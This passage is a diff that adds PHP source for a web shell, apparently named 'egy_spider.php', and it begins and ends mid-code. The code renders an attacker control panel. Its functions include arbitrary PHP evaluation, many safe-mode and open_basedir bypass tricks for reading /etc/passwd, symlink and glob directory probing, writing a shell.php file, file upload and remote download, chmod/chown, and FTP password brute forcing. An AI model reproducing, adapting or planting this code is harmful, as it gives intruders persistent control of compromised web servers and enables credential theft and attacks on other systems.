+<option value="32">32</option> +<option value="33">33</option> +<option value="34">34</option> +<option value="35">35</option> +<option value="36">36</option> +<option value="37">37</option> +<option value="38">38</option> +<option value="39">39</option> +<option value="40">40</option> +<option value="41">41</option> +<option value="42">42</option> +<option value="43">43</option> +<option value="44">44</option> +<option value="45">45</option> +<option value="46">46</option> +<option value="47">47</option> +<option value="48">48</option> +<option value="49">49</option> +<option value="50">50</option> +<option value="51">51</option> +<option value="52">52</option> +<option value="53">53</option> +<option value="54">54</option> +<option value="55">55</option> +<option value="56">56</option> +<option value="57">57</option> +<option value="58">58</option> +<option value="59">59</option> +</select>' +.ws(4)."<b>Second".$arrow."</b>" +.' +<select name="second" size="1"> +<option value="01">1</option> +<option value="02">2</option> +<option value="03">3</option> +<option value="04">4</option> +<option value="05">5</option> +<option value="06">6</option> +<option value="07">7</option> +<option value="08">8</option> +<option value="09">9</option> +<option value="10">10</option> +<option value="11">11</option> +<option value="12">12</option> +<option value="13">13</option> +<option value="14">14</option> +<option value="15">15</option> +<option value="16">16</option> +<option value="17">17</option> +<option value="18">18</option> +<option value="19">19</option> +<option value="20">20</option> +<option value="21">21</option> +<option value="22">22</option> +<option value="23">23</option> +<option value="24">24</option> +<option value="25">25</option> +<option value="26">26</option> +<option value="27">27</option> +<option value="28">28</option> +<option value="29">29</option> +<option value="30">30</option> +<option value="31">31</option> +<option value="32">32</option> +<option value="33">33</option> +<option value="34">34</option> +<option value="35">35</option> +<option value="36">36</option> +<option value="37">37</option> +<option value="38">38</option> +<option value="39">39</option> +<option value="40">40</option> +<option value="41">41</option> +<option value="42">42</option> +<option value="43">43</option> +<option value="44">44</option> +<option value="45">45</option> +<option value="46">46</option> +<option value="47">47</option> +<option value="48">48</option> +<option value="49">49</option> +<option value="50">50</option> +<option value="51">51</option> +<option value="52">52</option> +<option value="53">53</option> +<option value="54">54</option> +<option value="55">55</option> +<option value="56">56</option> +<option value="57">57</option> +<option value="58">58</option> +<option value="59">59</option> +</select>' +.in('hidden','cmd',0,'touch') +.in('hidden','dir',0,$dir) +.ws(4).in('submit','submit',0,$lang[$language.'_butt1'])); +echo $te.'</div>'.$table_end1.$fe; +} + +$select=''; +if(@function_exists('chmod')){$select .= "<option value=mod>CHMOD</option>";} +if(@function_exists('chown')){$select .= "<option value=own>CHOWN</option>";} +if(@function_exists('chgrp')){$select .= "<option value=grp>CHGRP</option>";} +if($unix && $select){ +echo $fs.$table_up1.div_title($lang[$language.'_text67'],'id6').$table_up2.div('id6').$ts; +echo @sr(15,"<b>".$lang[$language.'_text43'].$arrow."</b>",in('text','param1',55,(($_POST['param1'])?($_POST['param1']):($_SERVER["SCRIPT_FILENAME"]))).ws(2)."<b>".$lang[$language.'_text68'].$arrow."</b>"."<select name=what>".$select."</select>".ws(4).in('text','param2 title="'.$lang[$language.'_text71'].'"',10,(($_POST['param2'])?($_POST['param2']):("0777"))).in('hidden','cmd',0,'ch_').in('hidden','dir',0,$dir).ws(4).in('submit','submit',0,$lang[$language.'_butt1'])); +echo $te.'</div>'.$table_end1.$fe; +} + +if(!$safe_mode){ +$aliases2 = ''; +foreach ($aliases as $alias_name=>$alias_cmd) + { + $aliases2 .= "<option>$alias_name</option>"; + } +echo $fs.$table_up1.div_title($lang[$language.'_text7'],'id5555').$table_up2.div('id5555').$ts; +echo sr(15,"<b>".ws(9).$lang[$language.'_text8'].$arrow.ws(4)."</b>","<select name=alias>".$aliases2."</select>".in('hidden','dir',0,$dir).ws(4).in('submit','submit',0,$lang[$language.'_butt1'])); +echo $te.'</div>'.$table_end1.$fe; +} + +echo $fs.$table_up1.div_title($lang[$language.'_text54'],'id50').$table_up2.div('id50').$ts; +echo sr(15,"<b>".$lang[$language.'_text52'].$arrow."</b>",in('text','s_text',85,'text').ws(4).in('submit','submit',0,$lang[$language.'_butt12'])); +echo sr(15,"<b>".$lang[$language.'_text53'].$arrow."</b>",in('text','s_dir',85,$dir)." * ( /root;/home;$tempdir )"); +echo sr(15,"<b>".$lang[$language.'_text55'].$arrow."</b>",in('checkbox','m id=m',0,'1').in('text','s_mask',82,'.txt;.php')."* ( .txt;.php;.htm )".in('hidden','cmd',0,'search_text').in('hidden','dir',0,$dir)); +echo $te.'</div>'.$table_end1.$fe; + +if(!$safe_mode && $unix){ +echo $fs.$table_up1.div_title($lang[$language.'_text76'],'id9').$table_up2.div('id9').$ts; +echo sr(15,"<b>".$lang[$language.'_text72'].$arrow."</b>",in('text','s_text',85,'text').ws(4).in('submit','submit',0,$lang[$language.'_butt12'])); +echo sr(15,"<b>".$lang[$language.'_text73'].$arrow."</b>",in('text','s_dir',85,$dir)." * ( /root;/home;$tempdir )"); +echo sr(15,"<b>".$lang[$language.'_text74'].$arrow."</b>",in('text','s_mask',85,'*.[hc]').ws(1).$lang[$language.'_text75'].in('hidden','cmd',0,'find_text').in('hidden','dir',0,$dir)); +echo $te.'</div>'.$table_end1.$fe; +} + +echo $fs.$table_up1.div_title($lang[$language.'_text32'],'id800').$table_up2.$font; +echo "<div align=center>".div('id800')."<textarea name=php_eval cols=100 rows=10>"; +echo (!empty($_POST['php_eval'])?($_POST['php_eval']):("//unlink(\"egy_spider.php\");\r\n//readfile(\"/etc/passwd\");\r\n//file_get_content(\"/etc/passwd\");")); +echo "</textarea>"; +echo in('hidden','dir',0,$dir).in('hidden','cmd',0,'php_eval'); +echo "<br>".ws(1).in('submit','submit',0,$lang[$language.'_butt1']); +echo "</div></div></font>"; +echo $table_end1.$fe; + +echo $fs.$table_up1.div_title($lang[$language.'_text200'],'id520').$table_up2.div('id520').$ts; +echo sr(15,"<b>".$lang[$language.'_text202'].$arrow."</b>",in('text','snn',85,'/etc/passwd').in('hidden','cmd',0,'copy').in('hidden','dir',0,$dir).ws(4).in('submit','submit',0,$lang[$language.'_butt7'])); +echo $te.'</div>'.$table_end1.$fe; +echo $fs.$table_up1.div_title($lang[$language.'_text300'],'id500').$table_up2.div('id500').$ts; +echo sr(15,"<b>".$lang[$language.'_text202'].$arrow."</b>",in('text','SnIpEr_SA',85,'/etc/passwd').in('hidden','cmd',0,'cURL').in('hidden','dir',0,$dir).ws(4).in('submit','submit',0,$lang[$language.'_butt7'])); +echo $te.'</div>'.$table_end1.$fe; +echo $fs.$table_up1.div_title($lang[$language.'_text203'],'id510').$table_up2.div('id510').$ts; +echo sr(15,"<b>".$lang[$language.'_text202'].$arrow."</b>",in('text','ini_restore',85,'/etc/passwd').in('hidden','cmd',0,'ini_restore').in('hidden','dir',0,$dir).ws(4).in('submit','submit',0,$lang[$language.'_butt7'])); +echo $te.'</div>'.$table_end1.$fe; +echo $fs.$table_up1.div_title($lang[$language.'_text224'],'id800').$table_up2.div('id800').$ts; +echo sr(15,"<b>".$lang[$language.'_text202'].$arrow."</b>","<select size=\"1\" name=\"plugin\"><option value=\"plugin\">/etc/passwd</option></option></select>".in('hidden','cmd',0,'plugin').in('hidden','dir',0,$dir).ws(4).in('submit','submit',0,$lang[$language.'_butt7'])); +echo $te.'</div>'.$table_end1.$fe; +echo $fs.$table_up1.div_title($lang[$language.'_text220'],'id900').$table_up2.div('id900').$ts; +echo sr(15,"<b>".$lang[$language.'_text30'].$arrow."</b>",in('text','sym1p2',50,(!empty($_POST['sym1p2'])?($_POST['sym1p']):("/../../../"))).in('text','sym1p',50,(!empty($_POST['sym1p'])?($_POST['sym1p']):("/etc/passwd"))).in('hidden','dir',0,$dir).in('hidden','cmd',0,'sym1').ws(4).in('submit','submit',0,$lang[$language.'_butt8'])); +echo $te.'</div>'.$table_end1.$fe; +echo $fs.$table_up1.div_title($lang[$language.'_text222'],'id980').$table_up2.div('id980').$ts; +echo sr(15,"<b>".$lang[$language.'_text30'].$arrow."</b>",in('hidden','dir',0,$dir).in('hidden','cmd',0,'sym2').ws(4).in('submit','submit',0,$lang[$language.'_butt8'])); +echo $te.'</div>'.$table_end1.$fe; + +{ +echo $fs.$table_up1.div_title($lang[$language.'_text204'],'id23').$table_up2.div('id23').$ts; +echo sr(15,"<b>".$lang[$language.'_text205'].$arrow."</b>",in('text','log',96,(!empty($_POST['log'])?($_POST['log']):($dir))).in('hidden','dir',0,$dir).in('hidden','cmd',0,'Paralyzing been planted and you can usefilename.php?ss=http://shell.txt?').ws(4).in('submit','submit',0,$lang[$language.'_butt65'])); +echo $te.'</div>'.$table_end1.$fe; +echo $fs.$table_up1.div_title($lang[$language.'_text207'],'id801').$table_up2.div('id801').$ts; +echo sr(15,"<b>".$lang[$language.'_text206'].$arrow."</b>",in('text','glob',85,'/etc/').in('hidden','cmd',0,'glob').in('hidden','dir',0,$dir).ws(4).in('submit','submit',0,$lang[$language.'_butt7'])); +echo $te.'</div>'.$table_end1.$fe; +echo $fs.$table_up1.div_title($lang[$language.'_text209'],'id5505').$table_up2.div('id5505').$ts; +echo sr(15,"<b>".$lang[$language.'_text206'].$arrow."</b>",in('text','root',85,'/etc/').in('hidden','cmd',0,'root').in('hidden','dir',0,$dir).ws(4).in('submit','submit',0,$lang[$language.'_butt7'])); +echo $te.'</div>'.$table_end1.$fe; +echo $fs.$table_up1.div_title($lang[$language.'_text34'],'id11').$table_up2.div('id11').$ts; +echo "<table class=table1 width=100% align=center>"; +echo sr(15,"<b>".$lang[$language.'_text30'].$arrow."</b>",in('text','test2_file',85,(!empty($_POST['test2_file'])?($_POST['test2_file']):("/etc/passwd"))).in('hidden','dir',0,$dir).in('hidden','cmd',0,'test2').ws(4).in('submit','submit',0,$lang[$language.'_butt8'])); +echo $te.'</div>'.$table_end1.$fe; +} + + + +echo $fs.$table_up1.div_title($lang[$language.'_text151'],'id1221').$table_up2.div('id1221').$ts; +echo "<table class=table1 width=100% align=center>"; +echo sr(15,"<b>".$lang[$language.'_text30'].$arrow."</b>",in('text','test_5_2_6',85,(!empty($_POST['test_5_2_6'])?($_POST['test_5_2_6']):("/etc/passwd"))).in('hidden','dir',0,$dir).in('hidden','cmd',0,'test_5_2_6').ws(4).in('submit','submit',0,$lang[$language.'_butt8'])); +echo $te.'</div>'.$table_end1.$fe; + +echo $fs.$table_up1.div_title($lang[$language.'_text161'],'id12211').$table_up2.div('id12211').$ts; +echo "<table class=table1 width=100% align=center>"; +echo sr(15,"<b>".$lang[$language.'_text30'].$arrow."</b>",in('text','test2_5_2_6',85,(!empty($_POST['test2_5_2_6'])?($_POST['test2_5_2_6']):("/etc/passwd"))).in('hidden','dir',0,$dir).in('hidden','cmd',0,'test2_5_2_6').ws(4).in('submit','submit',0,$lang[$language.'_butt8'])); +echo $te.'</div>'.$table_end1.$fe; + + + + + +echo $fs.$table_up1.div_title($lang[$language.'_text162'],'id9820').$table_up2.div('id9820').$ts; +echo sr(15,"<b>".$lang[$language.'_text30'].$arrow."</b>",in('hidden','dir',0,$dir).in('hidden','cmd',0,'test_5_2_4').ws(4).in('submit','submit',0,$lang[$language.'_butt8'])); +echo $te.'</div>'.$table_end1.$fe; + + +echo $fs.$table_up1.div_title($lang[$language.'_text163'],'id9820').$table_up2.div('id9820').$ts; +echo sr(15,"<b>".$lang[$language.'_text30'].$arrow."</b>",in('hidden','dir',0,$dir).in('hidden','cmd',0,'egy_perl').ws(4).in('submit','submit',0,$lang[$language.'_butt8'])); +echo $te.'</div>'.$table_end1.$fe; + + +{ +echo $fs.$table_up1.div_title($lang[$language.'_text33'],'id12').$table_up2.div('id12').$ts; +echo sr(15,"<b>".$lang[$language.'_text30'].$arrow."</b>",in('text','test1_file',85,(!empty($_POST['test1_file'])?($_POST['test1_file']):("/etc/passwd"))).in('hidden','dir',0,$dir).in('hidden','cmd',0,'test1').ws(4).in('submit','submit',0,$lang[$language.'_butt8'])); +echo $te.'</div>'.$table_end1.$fe; +} + + + + +{ +echo $fs.$table_up1.div_title($lang[$language.'_text144'],'id40').$table_up2.div('id40').$ts; +echo sr(15,"<b>".$lang[$language.'_text36'].$arrow."</b>",in('text','test19_md',15,(!empty($_POST['test19_md'])?($_POST['test19_md']):("mysqli"))).ws(4)."<b>".$lang[$language.'_text37'].$arrow."</b>".in('text','test19_ml',15,(!empty($_POST['test19_ml'])?($_POST['test19_ml']):("root"))).ws(4)."<b>".$lang[$language.'_text39'].$arrow."</b>".in('text','test19_mp',15,(!empty($_POST['test19_mp'])?($_POST['test19_mp']):("password"))).ws(4)."<b>".$lang[$language.'_text14'].$arrow."</b>".in('text','test19_port',15,(!empty($_POST['test19_port'])?($_POST['test19_port']):("3306")))); +echo sr(15,"<b>".$lang[$language.'_text30'].$arrow."</b>",in('text','test19_file',96,(!empty($_POST['test19_file'])?($_POST['test19_file']):("/etc/passwd"))).in('hidden','dir',0,$dir).in('hidden','cmd',0,'test19').ws(4).in('submit','submit',0,$lang[$language.'_butt8'])); +echo $te.'</div>'.$table_end1.$fe; +} + +{ +echo $fs.$table_up1.div_title($lang[$language.'_text85'],'id14').$table_up2.div('id14').$ts; +echo sr(15,"<b>".$lang[$language.'_text36'].$arrow."</b>",in('text','test4_md',15,(!empty($_POST['test4_md'])?($_POST['test4_md']):("master"))).ws(4)."<b>".$lang[$language.'_text37'].$arrow."</b>".in('text','test4_ml',15,(!empty($_POST['test4_ml'])?($_POST['test4_ml']):("sa"))).ws(4)."<b>".$lang[$language.'_text38'].$arrow."</b>".in('text','test4_mp',15,(!empty($_POST['test4_mp'])?($_POST['test4_mp']):("password"))).ws(4)."<b>".$lang[$language.'_text14'].$arrow."</b>".in('text','test4_port',15,(!empty($_POST['test4_port'])?($_POST['test4_port']):("1433")))); +echo sr(15,"<b>".$lang[$language.'_text3'].$arrow."</b>",in('text','test4_file',96,(!empty($_POST['test4_file'])?($_POST['test4_file']):("dir"))).in('hidden','dir',0,$dir).in('hidden','cmd',0,'test4').ws(4).in('submit','submit',0,$lang[$language.'_butt8'])); +echo $te.'</div>'.$table_end1.$fe; +} + + +{ +echo $fs.$table_up1.div_title($lang[$language.'_text112'],'id15').$table_up2.div('id15').$ts; +echo sr(15,"<b>".$lang[$language.'_text30'].$arrow."</b>",in('text','test5_file',96,(!empty($_POST['test5_file'])?($_POST['test5_file']):("/etc/passwd"))).in('hidden','dir',0,$dir).in('hidden','cmd',0,'test5').ws(4).in('submit','submit',0,$lang[$language.'_butt8'])); +echo $te.'</div>'.$table_end1.$fe; +} + +{ +echo $fs.$table_up1.div_title($lang[$language.'_text113'],'id13').$table_up2.div('id13').$ts; +echo sr(15,"<b>".$lang[$language.'_text4'].$arrow."</b>",in('text','test6_file',96,(!empty($_POST['test6_file'])?($_POST['test6_file']):($dir))).in('hidden','dir',0,$dir).in('hidden','cmd',0,'test6').ws(4).in('submit','submit',0,$lang[$language.'_butt8'])); +echo $te.'</div>'.$table_end1.$fe; +} + +{ +echo $fs.$table_up1.div_title($lang[$language.'_text114'],'id21').$table_up2.div('id21').$ts; +echo sr(15,"<b>".$lang[$language.'_text30'].$arrow."</b>",in('text','test7_file',96,(!empty($_POST['test7_file'])?($_POST['test7_file']):("/etc/passwd"))).in('hidden','dir',0,$dir).in('hidden','cmd',0,'test7').ws(4).in('submit','submit',0,$lang[$language.'_butt8'])); +echo $te.'</div>'.$table_end1.$fe; +} + + +{ +echo $fs.$table_up1.div_title($lang[$language.'_text170'],'id2221').$table_up2.div('id2221').$ts; +echo sr(15,"<b>".$lang[$language.'_text30'].$arrow."</b>",in('text','egy_4_2_0',96,(!empty($_POST['egy_4_2_0'])?($_POST['egy_4_2_0']):("/etc/passwd"))).in('hidden','dir',0,$dir).in('hidden','cmd',0,'egy_4_2_0').ws(4).in('submit','submit',0,$lang[$language.'_butt8'])); +echo $te.'</div>'.$table_end1.$fe; +} + + + +{ +echo $fs.$table_up1.div_title($lang[$language.'_text115'],'id22').$table_up2.div('id22').$ts; +echo sr(15,"<b>".$lang[$language.'_text116'].$arrow."</b>",in('text','test8_file1',96,(!empty($_POST['test8_file1'])?($_POST['test8_file1']):("/etc/passwd"))).in('hidden','dir',0,$dir).in('hidden','cmd',0,'test8')); +echo sr(15,"<b>".$lang[$language.'_text117'].ws(2).$lang[$language.'_text60'].$arrow."</b>",in('text','test8_file2',96,(!empty($_POST['test8_file2'])?($_POST['test8_file2']):($dir))).ws(4).in('submit','submit',0,$lang[$language.'_butt8'])); +echo $te.'</div>'.$table_end1.$fe; +} + +{ +echo $fs.$table_up1.div_title($lang[$language.'_text120'],'id23').$table_up2.div('id23').$ts; +echo sr(15,"<b>".$lang[$language.'_text30'].$arrow."</b>",in('text','test9_file',96,(!empty($_POST['test9_file'])?($_POST['test9_file']):("/etc/passwd"))).in('hidden','dir',0,$dir).in('hidden','cmd',0,'test9').ws(4).in('submit','submit',0,$lang[$language.'_butt8'])); +echo $te.'</div>'.$table_end1.$fe; +} + +{ +echo $fs.$table_up1.div_title($lang[$language.'_text121'],'id24').$table_up2.div('id24').$ts; +echo sr(15,"<b>".$lang[$language.'_text4'].$arrow."</b>",in('text','test10_file',96,(!empty($_POST['test10_file'])?($_POST['test10_file']):($dir))).in('hidden','dir',0,$dir).in('hidden','cmd',0,'test10').ws(4).in('submit','submit',0,$lang[$language.'_butt8'])); +echo $te.'</div>'.$table_end1.$fe; +} + +{ +echo $fs.$table_up1.div_title($lang[$language.'_text122'],'id19').$table_up2.div('id19').$ts; +echo sr(15,"<b>".$lang[$language.'_text4'].$arrow."</b>",in('text','dir',96,(!empty($_POST['test_global'])?($_POST['test_global']):($dir))).in('hidden','cmd',0,'safe_dir').in('hidden','glob',0,'glob').ws(4).in('submit','submit',0,$lang[$language.'_butt8'])); +echo $te.'</div>'.$table_end1.$fe; +} + +{ +$select_n_rlph = "<select name='n_rlph'><option value=1>[ 1 ] (<<0,01 sec)</option><option value=2>[ 2 ] (<0,01 sec)</option>". +"<option value=3 selected>[ 3 ] (<1 sec (default))</option>". +"<option value=4>[ 4 ] (<10 sec)</option><option value=5>[ 5 ] (>100 sec (danger))</option><option value=6>[ 6 ] (>>100 sec (danger))</option></select>"; +echo $fs.$table_up1.div_title($lang[$language.'_text145'],'id41').$table_up2.div('id41').$ts; +echo sr(15,"<b>".$lang[$language.'_text4'].$arrow."</b>",in('text','dir',30,(!empty($_POST['dir_rlph'])?($_POST['dir_rlph']):($dir))).ws(2).'<b>'.$lang[$language.'_text55'].'</b>'.ws(2).in('text','end_rlph',6,(!empty($_POST['end_rlph'])?($_POST['end_rlph']):('.php'))).ws(2).in('hidden','cmd',0,'safe_dir').ws(2).'<b>'.$lang[$language.'_text146'].'</b>'.ws(2).$select_n_rlph.ws(2).in('hidden','realpath',0,'realpath').ws(4).in('submit','submit',0,$lang[$language.'_butt8'])); +echo $te.'</div>'.$table_end1.$fe; +} + +{ +echo $fs.$table_up1.div_title($lang[$language.'_text130'],'id25').$table_up2.div('id25').$ts; +echo sr(15,"<b>".$lang[$language.'_text116'].$arrow."</b>",in('text','test11_file',96,(!empty($_POST['test11_file'])?($_POST['test11_file']):($tempdir.'test.zip'))).in('hidden','dir',0,$dir).in('hidden','cmd',0,'test11').ws(4).in('submit','submit',0,$lang[$language.'_butt8'])); +echo $te.'</div>'.$table_end1.$fe; +} + +{ +echo $fs.$table_up1.div_title($lang[$language.'_text123'],'id26').$table_up2.div('id26').$ts; +echo sr(15,"<b>".$lang[$language.'_text116'].$arrow."</b>",in('text','test12_file',96,(!empty($_POST['test12_file'])?($_POST['test12_file']):($tempdir.'test.bzip'))).in('hidden','dir',0,$dir).in('hidden','cmd',0,'test12').ws(4).in('submit','submit',0,$lang[$language.'_butt8'])); +echo $te.'</div>'.$table_end1.$fe; +} + +{ +echo $fs.$table_up1.div_title($lang[$language.'_text124'],'id27').$table_up3.div('id27').$ts; +echo sr(15,"<b>".$lang[$language.'_text65']." ".$lang[$language.'_text59'].$arrow."</b>",in('text','test13_file2',96,(!empty($_POST['test13_file2'])?($_POST['test13_file2']):($dir."shell.php"))).in('hidden','dir',0,$dir).in('hidden','cmd',0,'test13')); +echo sr(15,"<b>".$lang[$language.'_text125'].$arrow."</b>",in('text','test13_file1',96,(!empty($_POST['test13_file1'])?($_POST['test13_file1']):("<? phpinfo(); ?>"))).ws(4).in('submit','submit',0,$lang[$language.'_butt10'])); +echo $te.'</div>'.$table_end1.$fe; +} + +{ +echo $fs.$table_up1.div_title($lang[$language.'_text126'],'id28').$table_up2.div('id28').$ts; +echo sr(15,"<b>".$lang[$language.'_text4'].$arrow."</b>",in('text','test14_file2',96,(!empty($_POST['test14_file2'])?($_POST['test14_file2']):($dir))).in('hidden','dir',0,$dir).in('hidden','cmd',0,'test14')); +echo sr(15,"<b>".$lang[$language.'_text125'].$arrow."</b>",in('text','test14_file1',96,(!empty($_POST['test14_file1'])?($_POST['test14_file1']):("<? phpinfo(); ?>"))).ws(4).in('submit','submit',0,$lang[$language.'_butt10'])); +echo $te.'</div>'.$table_end1.$fe; +} + +{ +echo $fs.$table_up1.div_title($lang[$language.'_text133'],'id39').$table_up2.div('id39').$ts; +echo sr(15,"<b>".$lang[$language.'_text4'].$arrow."</b>",in('text','test18_file2',96,(!empty($_POST['test18_file2'])?($_POST['test18_file2']):($dir))).in('hidden','dir',0,$dir).in('hidden','cmd',0,'test18')); +echo sr(15,"<b>".$lang[$language.'_text125'].$arrow."</b>",in('text','test18_file1',96,(!empty($_POST['test18_file1'])?($_POST['test18_file1']):("<? phpinfo(); ?>"))).ws(4).in('submit','submit',0,$lang[$language.'_butt10'])); +echo $te.'</div>'.$table_end1.$fe; +} + +{ +echo $fs.$table_up1.div_title($lang[$language.'_text127'],'id29').$table_up2.div('id29').$ts; +echo sr(15,"<b>".$lang[$language.'_text65']." ".$lang[$language.'_text59'].$arrow."</b>",in('text','test15_file2',96,(!empty($_POST['test15_file2'])?($_POST['test15_file2']):($dir."shell.php"))).in('hidden','dir',0,$dir).in('hidden','cmd',0,'test15')); +echo sr(15,"<b>".$lang[$language.'_text125'].$arrow."</b>",in('text','test15_file1',96,(!empty($_POST['test15_file1'])?($_POST['test15_file1']):("<? phpinfo(); ?>"))).ws(4).in('submit','submit',0,$lang[$language.'_butt10'])); +echo $te.'</div>'.$table_end1.$fe; +} + +{ +echo $fs.$table_up1.div_title($lang[$language.'_text129'],'id16').$table_up2.div('id16').$ts; +echo sr(15,"<b>".$lang[$language.'_text65']." ".$lang[$language.'_text59'].$arrow."</b>",in('text','test16_file',96,(!empty($_POST['test16_file'])?($_POST['test16_file']):($dir."test.php"))).in('hidden','dir',0,$dir).in('hidden','cmd',0,'test16').ws(4).in('submit','submit',0,$lang[$language.'_butt8'])); +echo $te.'</div>'.$table_end1.$fe; +} + +{ +echo $table_up1.div_title($lang[$language.'_text131'],'id17').$table_up2.div('id17').$ts; +echo "<tr><td valign=top width=70%>".$ts; +echo sr(20,"<b>".$lang[$language.'_text30'].$arrow."</b>",$fs.in('text','test17_file',60,(!empty($_POST['test17_file'])?($_POST['test17_file']):("/etc/passwd"))).in('hidden','dir',0,$dir).in('hidden','cmd',0,'test17_1').in('submit','submit',0,$lang[$language.'_text136']).$fe); +echo $te."</td><td valign=top width=30%>".$ts; +echo sr(0,"",$fs.in('hidden','dir',0,$dir).in('hidden','cmd',0,'test17_2').in('submit','submit',0,$lang[$language.'_butt8']).$fe); +echo $te."</td></tr>"; +echo $te.'</div>'.$table_end1; +} + +{ +echo $table_up1.div_title($lang[$language.'_text132'],'id18').$table_up2.div('id18').$ts; +echo "<tr><td valign=top width=70%>".$ts; +echo sr(20,"<b>".$lang[$language.'_text4'].$arrow."</b>",$fs.in('text','test17_file',60,(!empty($_POST['test17_file'])?($_POST['test17_file']):($dir))).in('hidden','dir',0,$dir).in('hidden','cmd',0,'test17_1').in('submit','submit',0,$lang[$language.'_text136']).$fe); +echo $te."</td><td valign=top width=30%>".$ts; +echo sr(0,"",$fs.in('hidden','dir',0,$dir).in('hidden','cmd',0,'test17_3').in('submit','submit',0,$lang[$language.'_butt8']).$fe); +echo $te."</td></tr>"; +echo $te.'</div>'.$table_end1; +} + +echo $fs.$table_up1.div_title($lang[$language.'_text171'],'id98200').$table_up2.div('id98200').$ts; +echo sr(15,"<b>".$lang[$language.'_text30'].$arrow."</b>",in('hidden','dir',0,$dir).in('hidden','cmd',0,'egy_5_2_3').ws(4).in('submit','submit',0,$lang[$language.'_butt8'])); +echo $te.'</div>'.$table_end1.$fe; + + +{ +echo "<form name=upload method=POST ENCTYPE=multipart/form-data>"; +echo $table_up1.div_title($lang[$language.'_text5'],'id30').$table_up2.div('id30').$ts; +echo sr(15,"<b>".$lang[$language.'_text6'].$arrow."</b>",in('file','userfile0',85,'')); +echo sr(15,"<b>".$lang[$language.'_text21'].$arrow."</b>",in('checkbox','nf1 id=nf1',0,'1').in('text','new_name',82,'').in('hidden','dir',0,$dir).ws(4).in('submit','submit',0,$lang[$language.'_butt2'])); +echo $te.'</div>'.$table_end1.$fe; +} + + +{ +echo "<form name=upload method=POST ENCTYPE=multipart/form-data>"; +echo $table_up1.div_title('Multy '.$lang[$language.'_text5'],'id34').$table_up2.div('id34').$ts; +echo "<tr><td valign=top width=50%>".$ts; +echo sr(15,"<b>".$lang[$language.'_text6'].$arrow."</b>",in('file','userfile1',35,'')); +echo sr(15,"<b>".$lang[$language.'_text6'].$arrow."</b>",in('file','userfile2',35,'')); +echo sr(15,"<b>".$lang[$language.'_text6'].$arrow."</b>",in('file','userfile3',35,'')); +echo sr(15,"<b>".$lang[$language.'_text6'].$arrow."</b>",in('file','userfile4',35,'')); +echo sr(15,"<b>".$lang[$language.'_text6'].$arrow."</b>",in('file','userfile5',35,'')); +echo sr(15,"<b>".$lang[$language.'_text6'].$arrow."</b>",in('file','userfile6',35,'')); +echo sr(15,"<b>".$lang[$language.'_text6'].$arrow."</b>",in('file','userfile7',35,'')); +echo sr(15,"<b>".$lang[$language.'_text6'].$arrow."</b>",in('file','userfile8',35,'')); +echo $te."</td><td valign=top width=50%>".$ts; +echo sr(15,"<b>".$lang[$language.'_text6'].$arrow."</b>",in('file','userfile9',35,'')); +echo sr(15,"<b>".$lang[$language.'_text6'].$arrow."</b>",in('file','userfile10',35,'')); +echo sr(15,"<b>".$lang[$language.'_text6'].$arrow."</b>",in('file','userfile11',35,'')); +echo sr(15,"<b>".$lang[$language.'_text6'].$arrow."</b>",in('file','userfile12',35,'')); +echo sr(15,"<b>".$lang[$language.'_text6'].$arrow."</b>",in('file','userfile13',35,'')); +echo sr(15,"<b>".$lang[$language.'_text6'].$arrow."</b>",in('file','userfile14',35,'')); +echo sr(15,"<b>".$lang[$language.'_text6'].$arrow."</b>",in('file','userfile15',35,'')); +echo sr(15,'',in('hidden','dir',0,$dir).ws(4).in('submit','submit',0,$lang[$language.'_butt2'])); +echo $te."</td></tr>"; +echo $te.'</div>'.$table_end1.$fe; +} + + +{ + echo $fs.$table_up1.div_title($lang[$language.'_text15'],'id31').$table_up2.div('id31').$ts; + echo sr(15,"<b>".$lang[$language.'_text16'].$arrow."</b>",$select_downloaders.in('hidden','dir',0,$dir).ws(2)."<b>".$lang[$language.'_text17'].$arrow."</b>".in('text','rem_file',78,'http://')); + echo sr(15,"<b>".$lang[$language.'_text18'].$arrow."</b>",in('text','loc_file',105,$dir.'/download.file').ws(4).in('submit','submit',0,$lang[$language.'_butt2'])); + echo $te.'</div>'.$table_end1.$fe; +} + +echo $fs.$table_up1.div_title($lang[$language.'_text86'],'id32').$table_up2.div('id32').$ts; +echo sr(15,"<b>".$lang[$language.'_text59'].$arrow."</b>",in('text','d_name',85,$dir).in('hidden','cmd',0,'download_file').in('hidden','dir',0,$dir).ws(4).in('submit','submit',0,$lang[$language.'_butt14'])); +$arh = $lang[$language.'_text92']; +if(@function_exists('gzcompress')) { $arh .= in('radio','compress',0,'zip').' zip'; } +if(@function_exists('gzencode')) { $arh .= in('radio','compress',0,'gzip').' gzip'; } +if(@function_exists('bzcompress')) { $arh .= in('radio','compress',0,'bzip').' bzip'; } +echo sr(15,"<b>".$lang[$language.'_text91'].$arrow."</b>",in('radio','compress',0,'none',1).' '.$arh); +echo $te.'</div>'.$table_end1.$fe; + +{ +echo $table_up1.div_title($lang[$language.'_text93'],'id33').$table_up2.div('id33').$ts."<tr>".$fs."<td valign=top width=33%>".$ts; + +echo "<font face=Verdana size=-2><b><div align=center id='n'>".$lang[$language.'_text94']."</div></b></font>"; +echo sr(25,"<b>".$lang[$language.'_text88'].$arrow."</b>",in('text','ftp_server_port',20,(!empty($_POST['ftp_server_port'])?($_POST['ftp_server_port']):("127.0.0.1:21"))).in('hidden','cmd',0,'ftp_brute').in('hidden','dir',0,$dir)); +echo sr(25,"",in('radio','brute_method',0,'passwd',1)."<font face=Verdana size=-2>".$lang[$language.'_text99']." ( <a href='".$_SERVER['PHP_SELF']."?users'>".$lang[$language.'_text95']."</a> )</font>"); +echo sr(25,"",in('checkbox','reverse id=reverse',0,'1',1).$lang[$language.'_text101']); +echo sr(25,"",in('radio','brute_method',0,'dic',0).$lang[$language.'_text135']); +echo sr(25,"<b>".$lang[$language.'_text37'].$arrow."</b>",in('text','ftp_login',0,(!empty($_POST['ftp_login'])?($_POST['ftp_login']):("root")))); +echo sr(25,"<b>".$lang[$language.'_text135'].$arrow."</b>",in('text','dictionary',0,(!empty($_POST['dictionary'])?($_POST['dictionary']):($dir.'passw.dic')))); +echo sr(25,"",in('submit','submit',0,$lang[$language.'_butt1'])); + +echo $te."</td>".$fe.$fs."<td valign=top width=33%>".$ts; +echo "<font face=Verdana size=-2><b><div align=center id='n'>".$lang[$language.'_text87']."</div></b></font>"; +echo sr(25,"<b>".$lang[$language.'_text88'].$arrow."</b>",in('text','ftp_server_port',20,(!empty($_POST['ftp_server_port'])?($_POST['ftp_server_port']):("127.0.0.1:21")))); +echo 